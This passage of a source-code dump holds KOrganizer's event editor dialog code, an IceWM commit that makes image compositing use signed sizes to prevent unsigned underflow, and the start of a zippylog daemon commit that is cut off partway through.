QFrame *topFrame = addPage(i18n(\"General\"));\n    QWhatsThis::add( topFrame,\n                     i18n(\"The General tab allows you to set the most common \"\n                          \"options for the event.\") );\n\n    QBoxLayout *topLayout = new QVBoxLayout(topFrame);\n    topLayout->setSpacing(spacingHint());\n\n    mGeneral->initHeader(topFrame,topLayout);\n    mGeneral->initTime(topFrame,topLayout);\n\/\/    QBoxLayout *alarmLineLayout = new QHBoxLayout(topLayout);\n    mGeneral->initAlarm(topFrame,topLayout);\n    mGeneral->enableAlarm( false );\n    mGeneral->initCategories( topFrame, topLayout );\n\n    topLayout->addStretch( 1 );\n\n    QFrame *topFrame2 = addPage(i18n(\"Details\"));\n\n    QBoxLayout *topLayout2 = new QVBoxLayout(topFrame2);\n    topLayout2->setSpacing(spacingHint());\n\n    mGeneral->initClass(topFrame2,topLayout2);\n    mGeneral->initSecrecy( topFrame2, topLayout2 );\n    mGeneral->initDescription(topFrame2,topLayout2);\n  } else {\n    QFrame *topFrame = addPage(i18n(\"&General\"));\n    QWhatsThis::add( topFrame,\n                     i18n(\"The General tab allows you to set the most common \"\n                          \"options for the event.\") );\n\n    QBoxLayout *topLayout = new QVBoxLayout(topFrame);\n    topLayout->setSpacing(spacingHint());\n\n    mGeneral->initHeader(topFrame,topLayout);\n    mGeneral->initTime(topFrame,topLayout);\n    QBoxLayout *alarmLineLayout = new QHBoxLayout(topLayout);\n    mGeneral->initAlarm(topFrame,alarmLineLayout);\n    alarmLineLayout->addStretch( 1 );\n    mGeneral->initClass(topFrame,alarmLineLayout);\n    mGeneral->initDescription(topFrame,topLayout);\n    QBoxLayout *detailsLayout = new QHBoxLayout(topLayout);\n    mGeneral->initCategories( topFrame, detailsLayout );\n    mGeneral->initSecrecy( topFrame, detailsLayout );\n  }\n\n  mGeneral->finishSetup();\n}\n\nvoid KOEventEditor::modified (int \/*modification*\/)\n{\n  \/\/ Play dump, just reload the event. This dialog has become so complicated\n  \/\/ that there is no point in trying to be smart here...\n  reload();\n}\n\nvoid KOEventEditor::setupRecurrence()\n{\n  QFrame *topFrame = addPage( i18n(\"Rec&urrence\") );\n\n  QWhatsThis::add( topFrame,\n        i18n(\"The Recurrence tab allows you to set options on \"\n       \"how often this event recurs.\") );\n\n  QBoxLayout *topLayout = new QVBoxLayout( topFrame );\n\n  mRecurrence = new KOEditorRecurrence( topFrame );\n  topLayout->addWidget( mRecurrence );\n}\n\nvoid KOEventEditor::setupFreeBusy()\n{\n  QFrame *freeBusyPage = addPage( i18n(\"&Free\/Busy\") );\n  QWhatsThis::add( freeBusyPage,\n        i18n(\"The Free\/Busy tab allows you to see whether \"\n       \"other attendees are free or busy during your event.\") );\n\n  QBoxLayout *topLayout = new QVBoxLayout( freeBusyPage );\n\n  mFreeBusy = new KOEditorFreeBusy( spacingHint(), freeBusyPage );\n  topLayout->addWidget( mFreeBusy );\n}\n\nvoid KOEventEditor::editIncidence( Incidence *incidence )\n{\n  Event*event = dynamic_cast<Event*>(incidence);\n  if ( event ) {\n    init();\n\n    mEvent = event;\n    readEvent(mEvent);\n  }\n\n  setCaption( i18n(\"Edit Event\") );\n}\n\nvoid KOEventEditor::newEvent()\n{\n  init();\n  mEvent = 0;\n  loadDefaults();\n  setCaption( i18n(\"New Event\") );\n}\n\nvoid KOEventEditor::setDates( const QDateTime &from, const QDateTime &to, bool allDay )\n{\n  mGeneral->setDefaults( from, to, allDay );\n  mDetails->setDefaults();\n  mAttachments->setDefaults();\n  mRecurrence->setDefaults( from, to, allDay );\n  if( mFreeBusy ) {\n    if ( allDay )\n      mFreeBusy->setDateTimes( from, to.addDays( 1 ) );\n    else\n      mFreeBusy->setDateTimes( from, to );\n  }\n}\n\nvoid KOEventEditor::setTexts( const QString &summary, const QString &description )\n{\n  if ( description.isEmpty() && summary.contains(\"\\n\") ) {\n    mGeneral->setDescription( summary );\n    int pos = summary.find( \"\\n\" );\n    mGeneral->setSummary( summary.left( pos ) );\n  } else {\n    mGeneral->setSummary( summary );\n    mGeneral->setDescription( description );\n  }\n}\n\nvoid KOEventEditor::loadDefaults()\n{\n  QDateTime from( QDate::currentDate(), KOPrefs::instance()->mStartTime.time() );\n  int addSecs = ( KOPrefs::instance()->mDefaultDuration.time().hour()*3600 ) +\n                ( KOPrefs::instance()->mDefaultDuration.time().minute()*60 );\n  QDateTime to( from.addSecs( addSecs ) );\n\n  setDates( from, to, false );\n}\n\nbool KOEventEditor::processInput()\n{\n  kdDebug(5850) << \"KOEventEditor::processInput()\" << endl;\n\n  if ( !validateInput() || !mChanger ) return false;\n\n  QGuardedPtr<KOEditorFreeBusy> freeBusy( mFreeBusy );\n\n  if ( mEvent ) {\n    bool rc = true;\n    Event *oldEvent = mEvent->clone();\n    Event *event = mEvent->clone();\n\n    kdDebug(5850) << \"KOEventEditor::processInput() write event.\" << endl;\n    writeEvent( event );\n    kdDebug(5850) << \"KOEventEditor::processInput() event written.\" << endl;\n\n    if( *event == *mEvent )\n      \/\/ Don't do anything\n      kdDebug(5850) << \"Event not changed\\n\";\n    else {\n      kdDebug(5850) << \"Event changed\\n\";\n      \/\/IncidenceChanger::assignIncidence( mEvent, event );\n      writeEvent( mEvent );\n      mChanger->changeIncidence( oldEvent, mEvent );\n    }\n    delete event;\n    delete oldEvent;\n    return rc;\n  } else {\n    mEvent = new Event;\n    mEvent->setOrganizer( Person( KOPrefs::instance()->fullName(),\n                          KOPrefs::instance()->email() ) );\n    writeEvent( mEvent );\n    \/\/ NOTE: triggered by addIncidence, the kolab resource might open a non-modal dialog (parent is not available in the resource) to select a resource folder. Thus the user can close this dialog before addIncidence() returns.\n    if ( !mChanger->addIncidence( mEvent, this ) ) {\n      delete mEvent;\n      mEvent = 0;\n      return false;\n    }\n  }\n  \/\/ if \"this\" was deleted, freeBusy is 0 (being a guardedptr)\n  if ( freeBusy ) freeBusy->cancelReload();\n\n  return true;\n}\n\nvoid KOEventEditor::processCancel()\n{\n  kdDebug(5850) << \"KOEventEditor::processCancel()\" << endl;\n\n  if ( mFreeBusy ) mFreeBusy->cancelReload();\n}\n\nvoid KOEventEditor::deleteEvent()\n{\n  kdDebug(5850) << \"Delete event\" << endl;\n\n  if ( mEvent )\n    emit deleteIncidenceSignal( mEvent );\n  emit dialogClose( mEvent );\n  reject();\n}\n\nvoid KOEventEditor::readEvent( Event *event, bool tmpl )\n{\n  mGeneral->readEvent( event, tmpl );\n  mDetails->readEvent( event );\n  mRecurrence->readIncidence( event );\n  mAttachments->readIncidence( event );\n\/\/  mAlarms->readIncidence( event );\n  if ( mFreeBusy ) {\n    mFreeBusy->readEvent( event );\n    mFreeBusy->triggerReload();\n  }\n\n  createEmbeddedURLPages( event );\n  readDesignerFields( event );\n}\n\nvoid KOEventEditor::writeEvent( Event *event )\n{\n  mGeneral->writeEvent( event );\n  mDetails->writeEvent( event );\n  mAttachments->writeIncidence( event );\n\n  cancelRemovedAttendees( event );\n\n  mRecurrence->writeIncidence( event );\n\n  writeDesignerFields( event );\n}\n\nbool KOEventEditor::validateInput()\n{\n  if ( !mGeneral->validateInput() ) return false;\n  if ( !mDetails->validateInput() ) return false;\n  if ( !mRecurrence->validateInput() ) return false;\n\n  return true;\n}\n\nint KOEventEditor::msgItemDelete()\n{\n  return KMessageBox::warningContinueCancel(this,\n      i18n(\"This item will be permanently deleted.\"),\n      i18n(\"KOrganizer Confirmation\"),KGuiItem(i18n(\"Delete\"),\"editdelete\"));\n}\n\nvoid KOEventEditor::loadTemplate( \/*const*\/ CalendarLocal& cal )\n{\n  const Event::List events = cal.events();\n  if ( events.count() == 0 ) {\n    KMessageBox::error( this,\n        i18n(\"Template does not contain a valid event.\") );\n  } else {\n    kdDebug(5850) << \"KOEventEditor::slotLoadTemplate(): readTemplate\" << endl;\n    readEvent( events.first(), true );\n  }\n}\n\nQStringList& KOEventEditor::templates() const\n{\n  return KOPrefs::instance()->mEventTemplates;\n}\n\nvoid KOEventEditor::slotSaveTemplate( const QString &templateName )\n{\n  kdDebug(5006) << \"SlotSaveTemplate\" << endl;\n  Event *event = new Event;\n  writeEvent( event );\n  saveAsTemplate( event, templateName );\n}\n\nQObject *KOEventEditor::typeAheadReceiver() const\n{\n  return mGeneral->typeAheadReceiver();\n}\n\n#include \"koeventeditor.moc\"\n<|endoftext|>"}
{"text":"<commit_before>#include \"config.h\"\n\n#ifdef CONFIG_GDK_PIXBUF_XLIB\n\n#include \"yimage.h\"\n#include \"yxapp.h\"\n\nextern \"C\" {\n#include <gdk-pixbuf-xlib\/gdk-pixbuf-xlib.h>\n}\n\nclass YImageGDK: public YImage {\npublic:\n    YImageGDK(unsigned width, unsigned height, GdkPixbuf *pixbuf): YImage(width, height) {\n        fPixbuf = pixbuf;\n    }\n    virtual ~YImageGDK() {\n        g_object_unref(G_OBJECT(fPixbuf));\n    }\n    virtual ref<YPixmap> renderToPixmap();\n    virtual ref<YImage> scale(unsigned width, unsigned height);\n    virtual void draw(Graphics &g, int dx, int dy);\n    virtual void draw(Graphics &g, int x, int y, unsigned w, unsigned h, int dx, int dy);\n    virtual void composite(Graphics &g, int x, int y, unsigned w, unsigned h, int dx, int dy);\n    virtual bool valid() const { return fPixbuf != 0; }\nprivate:\n    GdkPixbuf *fPixbuf;\n};\n\nref<YImage> YImage::create(unsigned width, unsigned height) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, FALSE, 8, width, height);\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(width, height, pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::load(upath filename) {\n    ref<YImage> image;\n    GError *gerror = 0;\n    GdkPixbuf *pixbuf = gdk_pixbuf_new_from_file(filename.string(), &gerror);\n\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(gdk_pixbuf_get_width(pixbuf),\n                                 gdk_pixbuf_get_height(pixbuf),\n                                 pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImageGDK::scale(unsigned w, unsigned h) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf;\n    pixbuf = gdk_pixbuf_scale_simple(fPixbuf,\n                                     w, h,\n                                     GDK_INTERP_BILINEAR);\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(w, h, pixbuf));\n    }\n\n    return image;\n}\n\nref<YImage> YImage::createFromPixmap(ref<YPixmap> pixmap) {\n    return createFromPixmapAndMask(pixmap->pixmap(),\n                                   pixmap->mask(),\n                                   pixmap->width(),\n                                   pixmap->height());\n}\n\nref<YImage> YImage::createFromPixmapAndMask(Pixmap pixmap, Pixmap mask,\n                                            unsigned width, unsigned height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n\n    if (pixbuf) {\n        pixbuf =\n            gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                              pixmap,\n                                              xlib_rgb_get_cmap(),\n                                              xlib_rgb_get_visual(),\n                                              0, 0,\n                                              0, 0,\n                                              width,\n                                              height);\n\n        if (mask != None) {\n            XImage *image = XGetImage(xapp->display(), mask,\n                                      0, 0, width, height,\n                                      AllPlanes, ZPixmap);\n            guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n            if (image) {\n                \/\/unsigned char *pix = image->data;\n                for (unsigned r = 0; r < height; r++) {\n                    for (unsigned c = 0; c < width; c++) {\n                        unsigned int pix = XGetPixel(image, c, r);\n                        pixels[c * 4 + 3] = (unsigned char)(pix ? 255 : 0);\n                    }\n                    pixels += gdk_pixbuf_get_rowstride(pixbuf);\n                    \/\/pix += image->bytes_per_line;\n                }\n                XDestroyImage(image);\n            }\n        }\n\n        image.init(new YImageGDK(width,\n                                 height,\n                                 pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::createFromIconProperty(long *prop_pixels,\n                                           unsigned width, unsigned height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n    if (!pixbuf)\n        return null;\n\n    guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n    for (unsigned r = 0; r < height; r++) {\n        for (unsigned c = 0; c < width; c++) {\n            unsigned long pix =\n                prop_pixels[c + r * width];\n            pixels[c * 4 + 2] = (unsigned char)(pix & 0xFF);\n            pixels[c * 4 + 1] = (unsigned char)((pix >> 8) & 0xFF);\n            pixels[c * 4] = (unsigned char)((pix >> 16) & 0xFF);\n            pixels[c * 4 + 3] = (unsigned char)((pix >> 24) & 0xFF);\n        }\n        pixels += gdk_pixbuf_get_rowstride(pixbuf);\n    }\n    image.init(new YImageGDK(width,\n                             height,\n                             pixbuf));\n    return image;\n}\n\nref<YImage> YImage::createFromPixmapAndMaskScaled(Pixmap pix, Pixmap mask,\n                                                  unsigned width, unsigned height,\n                                                  unsigned nw, unsigned nh)\n{\n    ref<YImage> image = createFromPixmapAndMask(pix, mask, width, height);\n    if (image != null)\n        image = image->scale(nw, nh);\n    return image;\n}\n\nref<YPixmap> YImageGDK::renderToPixmap() {\n    Pixmap pixmap = None, mask = None;\n    gdk_pixbuf_xlib_render_pixmap_and_mask(fPixbuf, &pixmap, &mask, 128);\n\n    return createPixmap(pixmap, mask,\n                        gdk_pixbuf_get_width(fPixbuf),\n                        gdk_pixbuf_get_height(fPixbuf),\n                        xapp->depth());\n}\n\nref<YPixmap> YImage::createPixmap(Pixmap pixmap, Pixmap mask, unsigned w, unsigned h, unsigned depth) {\n    ref<YPixmap> n;\n\n    n.init(new YPixmap(pixmap, mask, w, h, depth));\n    return n;\n}\n\nvoid YImageGDK::draw(Graphics &g, int dx, int dy) {\n#if 1\n    composite(g, 0, 0, width(), height(), dx, dy);\n#else\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             0, 0, dx, dy, width(), height(),\n                                             GDK_PIXBUF_ALPHA_FULL,\n                                             128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n#endif\n}\n\nvoid YImageGDK::draw(Graphics &g, int x, int y, unsigned w, unsigned h, int dx, int dy) {\n#if 1\n    composite(g, x, y, w, h, dx, dy);\n#else\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             x, y, dx, dy, w, h,\n                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n#endif\n}\n\nvoid YImageGDK::composite(Graphics &g, int x, int y, unsigned w, unsigned h, int dx, int dy) {\n\n    \/\/MSG((\"composite -- %d %d %d %d | %d %d\", x, y, w, h, dx, dy));\n    if (g.xorigin() > dx) {\n        if ((int) w <= g.xorigin() - dx)\n            return;\n        w -= g.xorigin() - dx;\n        x += g.xorigin() - dx;\n        dx = g.xorigin();\n    }\n    if (g.yorigin() > dy) {\n        if ((int) h <= g.xorigin() - dx)\n            return;\n        h -= g.yorigin() - dy;\n        y += g.yorigin() - dy;\n        dy = g.yorigin();\n    }\n    if ((int) (dx + w) > (int) (g.xorigin() + g.rwidth())) {\n        if ((int) (g.xorigin() + g.rwidth()) <= dx)\n            return;\n        w = g.xorigin() + g.rwidth() - dx;\n    }\n    if ((int) (dy + h) > (int) (g.yorigin() + g.rheight())) {\n        if ((int) (g.yorigin() + g.rheight()) <= dy)\n            return;\n        h = g.yorigin() + g.rheight() - dy;\n    }\n    if (w <= 0 || h <= 0)\n        return;\n\n    \/\/MSG((\"composite ++ %d %d %d %d | %d %d\", x, y, w, h, dx, dy));\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8, w, h);\n    gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                      g.drawable(),\n                                      xapp->colormap(),\n                                      xapp->visual(),\n                                      dx - g.xorigin(), dy - g.yorigin(), 0, 0, w, h);\n    gdk_pixbuf_composite(fPixbuf, pixbuf,\n                         0, 0, w, h,\n                         -x, -y, 1.0, 1.0,\n                         GDK_INTERP_BILINEAR, 255);\n    gdk_pixbuf_xlib_render_to_drawable(pixbuf, g.drawable(), g.handleX(),\n                                             0, 0, dx - g.xorigin(), dy - g.yorigin(), w, h,\n\/\/                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NONE, 0, 0);\n    g_object_unref(G_OBJECT(pixbuf));\n}\n\n\nvoid image_init() {\n#if (GLIB_MAJOR_VERSION <= 2 && GLIB_MINOR_VERSION < 36 && GLIB_MICRO_VERSION <= 0)\n    g_type_init();\n#endif\n    xlib_rgb_init(xapp->display(), ScreenOfDisplay(xapp->display(), xapp->screen()));\n    gdk_pixbuf_xlib_init(xapp->display(), xapp->screen());\n}\n\n#endif\n\n\/\/ vim: set sw=4 ts=4 et:\n<commit_msg>Fixes for gdk_pixbuf with and height being signed. Prevent unsigned underflow.<commit_after>#include \"config.h\"\n\n#ifdef CONFIG_GDK_PIXBUF_XLIB\n\n#include \"yimage.h\"\n#include \"yxapp.h\"\n\nextern \"C\" {\n#include <gdk-pixbuf-xlib\/gdk-pixbuf-xlib.h>\n}\n\nclass YImageGDK: public YImage {\npublic:\n    YImageGDK(unsigned width, unsigned height, GdkPixbuf *pixbuf): YImage(width, height) {\n        fPixbuf = pixbuf;\n    }\n    virtual ~YImageGDK() {\n        g_object_unref(G_OBJECT(fPixbuf));\n    }\n    virtual ref<YPixmap> renderToPixmap();\n    virtual ref<YImage> scale(unsigned width, unsigned height);\n    virtual void draw(Graphics &g, int dx, int dy);\n    virtual void draw(Graphics &g, int x, int y, unsigned w, unsigned h, int dx, int dy);\n    virtual void composite(Graphics &g, int x, int y, unsigned w, unsigned h, int dx, int dy);\n    virtual bool valid() const { return fPixbuf != 0; }\nprivate:\n    GdkPixbuf *fPixbuf;\n};\n\nref<YImage> YImage::create(unsigned width, unsigned height) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, FALSE, 8, width, height);\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(width, height, pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::load(upath filename) {\n    ref<YImage> image;\n    GError *gerror = 0;\n    GdkPixbuf *pixbuf = gdk_pixbuf_new_from_file(filename.string(), &gerror);\n\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(gdk_pixbuf_get_width(pixbuf),\n                                 gdk_pixbuf_get_height(pixbuf),\n                                 pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImageGDK::scale(unsigned w, unsigned h) {\n    ref<YImage> image;\n    GdkPixbuf *pixbuf;\n    pixbuf = gdk_pixbuf_scale_simple(fPixbuf,\n                                     w, h,\n                                     GDK_INTERP_BILINEAR);\n    if (pixbuf != NULL) {\n        image.init(new YImageGDK(w, h, pixbuf));\n    }\n\n    return image;\n}\n\nref<YImage> YImage::createFromPixmap(ref<YPixmap> pixmap) {\n    return createFromPixmapAndMask(pixmap->pixmap(),\n                                   pixmap->mask(),\n                                   pixmap->width(),\n                                   pixmap->height());\n}\n\nref<YImage> YImage::createFromPixmapAndMask(Pixmap pixmap, Pixmap mask,\n                                            unsigned width, unsigned height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n\n    if (pixbuf) {\n        pixbuf =\n            gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                              pixmap,\n                                              xlib_rgb_get_cmap(),\n                                              xlib_rgb_get_visual(),\n                                              0, 0,\n                                              0, 0,\n                                              width,\n                                              height);\n\n        if (mask != None) {\n            XImage *image = XGetImage(xapp->display(), mask,\n                                      0, 0, width, height,\n                                      AllPlanes, ZPixmap);\n            guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n            if (image) {\n                \/\/unsigned char *pix = image->data;\n                for (unsigned r = 0; r < height; r++) {\n                    for (unsigned c = 0; c < width; c++) {\n                        unsigned int pix = XGetPixel(image, c, r);\n                        pixels[c * 4 + 3] = (unsigned char)(pix ? 255 : 0);\n                    }\n                    pixels += gdk_pixbuf_get_rowstride(pixbuf);\n                    \/\/pix += image->bytes_per_line;\n                }\n                XDestroyImage(image);\n            }\n        }\n\n        image.init(new YImageGDK(width,\n                                 height,\n                                 pixbuf));\n    }\n    return image;\n}\n\nref<YImage> YImage::createFromIconProperty(long *prop_pixels,\n                                           unsigned width, unsigned height)\n{\n    ref<YImage> image;\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8,\n                       width, height);\n\n    if (!pixbuf)\n        return null;\n\n    guchar *pixels = gdk_pixbuf_get_pixels(pixbuf);\n\n    for (unsigned r = 0; r < height; r++) {\n        for (unsigned c = 0; c < width; c++) {\n            unsigned long pix =\n                prop_pixels[c + r * width];\n            pixels[c * 4 + 2] = (unsigned char)(pix & 0xFF);\n            pixels[c * 4 + 1] = (unsigned char)((pix >> 8) & 0xFF);\n            pixels[c * 4] = (unsigned char)((pix >> 16) & 0xFF);\n            pixels[c * 4 + 3] = (unsigned char)((pix >> 24) & 0xFF);\n        }\n        pixels += gdk_pixbuf_get_rowstride(pixbuf);\n    }\n    image.init(new YImageGDK(width,\n                             height,\n                             pixbuf));\n    return image;\n}\n\nref<YImage> YImage::createFromPixmapAndMaskScaled(Pixmap pix, Pixmap mask,\n                                                  unsigned width, unsigned height,\n                                                  unsigned nw, unsigned nh)\n{\n    ref<YImage> image = createFromPixmapAndMask(pix, mask, width, height);\n    if (image != null)\n        image = image->scale(nw, nh);\n    return image;\n}\n\nref<YPixmap> YImageGDK::renderToPixmap() {\n    Pixmap pixmap = None, mask = None;\n    gdk_pixbuf_xlib_render_pixmap_and_mask(fPixbuf, &pixmap, &mask, 128);\n\n    return createPixmap(pixmap, mask,\n                        gdk_pixbuf_get_width(fPixbuf),\n                        gdk_pixbuf_get_height(fPixbuf),\n                        xapp->depth());\n}\n\nref<YPixmap> YImage::createPixmap(Pixmap pixmap, Pixmap mask, unsigned w, unsigned h, unsigned depth) {\n    ref<YPixmap> n;\n\n    n.init(new YPixmap(pixmap, mask, w, h, depth));\n    return n;\n}\n\nvoid YImageGDK::draw(Graphics &g, int dx, int dy) {\n#if 1\n    composite(g, 0, 0, width(), height(), dx, dy);\n#else\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             0, 0, dx, dy, width(), height(),\n                                             GDK_PIXBUF_ALPHA_FULL,\n                                             128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n#endif\n}\n\nvoid YImageGDK::draw(Graphics &g, int x, int y, unsigned w, unsigned h, int dx, int dy) {\n#if 1\n    composite(g, x, y, w, h, dx, dy);\n#else\n    gdk_pixbuf_xlib_render_to_drawable_alpha(fPixbuf, g.drawable(), \/\/g.handleX(),\n                                             x, y, dx, dy, w, h,\n                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NORMAL, 0, 0);\n#endif\n}\n\nvoid YImageGDK::composite(Graphics &g, int x, int y, unsigned width, unsigned height, int dx, int dy) {\n    int w = (int) width;\n    int h = (int) height;\n\n    \/\/MSG((\"composite -- %d %d %d %d | %d %d\", x, y, w, h, dx, dy));\n    if (g.xorigin() > dx) {\n        if (w <= g.xorigin() - dx)\n            return;\n        w -= g.xorigin() - dx;\n        x += g.xorigin() - dx;\n        dx = g.xorigin();\n    }\n    if (g.yorigin() > dy) {\n        if (h <= g.xorigin() - dx)\n            return;\n        h -= g.yorigin() - dy;\n        y += g.yorigin() - dy;\n        dy = g.yorigin();\n    }\n    if (dx + w > (int) (g.xorigin() + g.rwidth())) {\n        if ((int) (g.xorigin() + g.rwidth()) <= dx)\n            return;\n        w = g.xorigin() + g.rwidth() - dx;\n    }\n    if (dy + h > (int) (g.yorigin() + g.rheight())) {\n        if ((int) (g.yorigin() + g.rheight()) <= dy)\n            return;\n        h = g.yorigin() + g.rheight() - dy;\n    }\n    if (w <= 0 || h <= 0)\n        return;\n\n    const int src_x = int(dx - g.xorigin());\n    const int src_y = int(dy - g.yorigin());\n\n    \/\/MSG((\"composite ++ %d %d %d %d | %d %d\", x, y, w, h, dx, dy));\n    GdkPixbuf *pixbuf =\n        gdk_pixbuf_new(GDK_COLORSPACE_RGB, TRUE, 8, w, h);\n    gdk_pixbuf_xlib_get_from_drawable(pixbuf,\n                                      g.drawable(),\n                                      xapp->colormap(),\n                                      xapp->visual(),\n                                      src_x, src_y, 0, 0, w, h);\n    gdk_pixbuf_composite(fPixbuf, pixbuf,\n                         0, 0, w, h,\n                         -x, -y, 1.0, 1.0,\n                         GDK_INTERP_BILINEAR, 255);\n    gdk_pixbuf_xlib_render_to_drawable(pixbuf, g.drawable(), g.handleX(),\n                                             0, 0, src_x, src_y, w, h,\n\/\/                                             GDK_PIXBUF_ALPHA_BILEVEL, 128,\n                                             XLIB_RGB_DITHER_NONE, 0, 0);\n    g_object_unref(G_OBJECT(pixbuf));\n}\n\n\nvoid image_init() {\n#if (GLIB_MAJOR_VERSION <= 2 && GLIB_MINOR_VERSION < 36 && GLIB_MICRO_VERSION <= 0)\n    g_type_init();\n#endif\n    xlib_rgb_init(xapp->display(), ScreenOfDisplay(xapp->display(), xapp->screen()));\n    gdk_pixbuf_xlib_init(xapp->display(), xapp->screen());\n}\n\n#endif\n\n\/\/ vim: set sw=4 ts=4 et:\n<|endoftext|>"}
{"text":"<commit_before>\/\/  Copyright 2010 Gregory Szorc\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\n#include <zippylog\/zippylog.hpp>\n#include <zippylog\/zippylogd\/broker.hpp>\n#include <zippylog\/zippylogd\/util.hpp>\n\n#include <iostream>\n#include <string>\n\nusing ::zippylog::zippylogd::ZippylogdStartParams;\nusing ::zippylog::zippylogd::Broker;\nusing ::std::cout;\nusing ::std::endl;\nusing ::std::string;\nusing ::std::vector;\n\n#ifdef LINUX\nstatic volatile sig_atomic_t active = 1;\n\nvoid signal_handler(int signo)\n{\n    active = 0;\n\n    signal(signo, SIG_DFL);\n}\n#endif\n\nint main(int argc, const char * const argv[])\n{\n    string error;\n    ZippylogdStartParams params;\n\n    vector<string> args;\n    for (int i = 0; i < argc; i++) {\n        args.push_back(argv[i]);\n    }\n\n    if (!::zippylog::zippylogd::ParseCommandArguments(args, params, error)) {\n        cout << error << endl;\n        return 1;\n    }\n\n#ifdef LINUX\n    signal(SIGINT, signal_handler);\n    signal(SIGTERM, signal_handler);\n#endif\n\n    try {\n        ::zippylog::initialize_library();\n\n        ::zippylog::zippylogd::Zippylogd instance(params);\n        instance.Run();\n\n        \/\/ TODO remove broker code in favor of zippylogd class\n        Broker broker(argv[1]);\n\n#ifdef LINUX\n        broker.RunAsync();\n        while (active) pause();\n#elif WINDOWS\n        broker.Run();\n#else\n#error \"not implemented on this platform\"\n#endif\n    }\n    catch (string s) {\n        cout << \"Exception:\" << endl;\n        cout << s;\n        return 1;\n    }\n    catch (...) {\n        cout << \"received an exception\" << endl;\n        return 1;\n    }\n\n    ::zippylog::shutdown_library();\n\n    return 0;\n}\n<commit_msg>catch char * exceptions<commit_after>\/\/  Copyright 2010 Gregory Szorc\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\n#include <zippylog\/zippylog.hpp>\n#include <zippylog\/zippylogd\/broker.hpp>\n#include <zippylog\/zippylogd\/util.hpp>\n\n#include <iostream>\n#include <string>\n\nusing ::zippylog::zippylogd::ZippylogdStartParams;\nusing ::zippylog::zippylogd::Broker;\nusing ::std::cout;\nusing ::std::endl;\nusing ::std::string;\nusing ::std::vector;\n\n#ifdef LINUX\nstatic volatile sig_atomic_t active = 1;\n\nvoid signal_handler(int signo)\n{\n    active = 0;\n\n    signal(signo, SIG_DFL);\n}\n#endif\n\nint main(int argc, const char * const argv[])\n{\n    string error;\n    ZippylogdStartParams params;\n\n    vector<string> args;\n    for (int i = 0; i < argc; i++) {\n        args.push_back(argv[i]);\n    }\n\n    if (!::zippylog::zippylogd::ParseCommandArguments(args, params, error)) {\n        cout << error << endl;\n        return 1;\n    }\n\n#ifdef LINUX\n    signal(SIGINT, signal_handler);\n    signal(SIGTERM, signal_handler);\n#endif\n\n    try {\n        ::zippylog::initialize_library();\n\n        ::zippylog::zippylogd::Zippylogd instance(params);\n        instance.Run();\n\n        \/\/ TODO remove broker code in favor of zippylogd class\n        Broker broker(argv[1]);\n\n#ifdef LINUX\n        broker.RunAsync();\n        while (active) pause();\n#elif WINDOWS\n        broker.Run();\n#else\n#error \"not implemented on this platform\"\n#endif\n    }\n    catch (string s) {\n        cout << 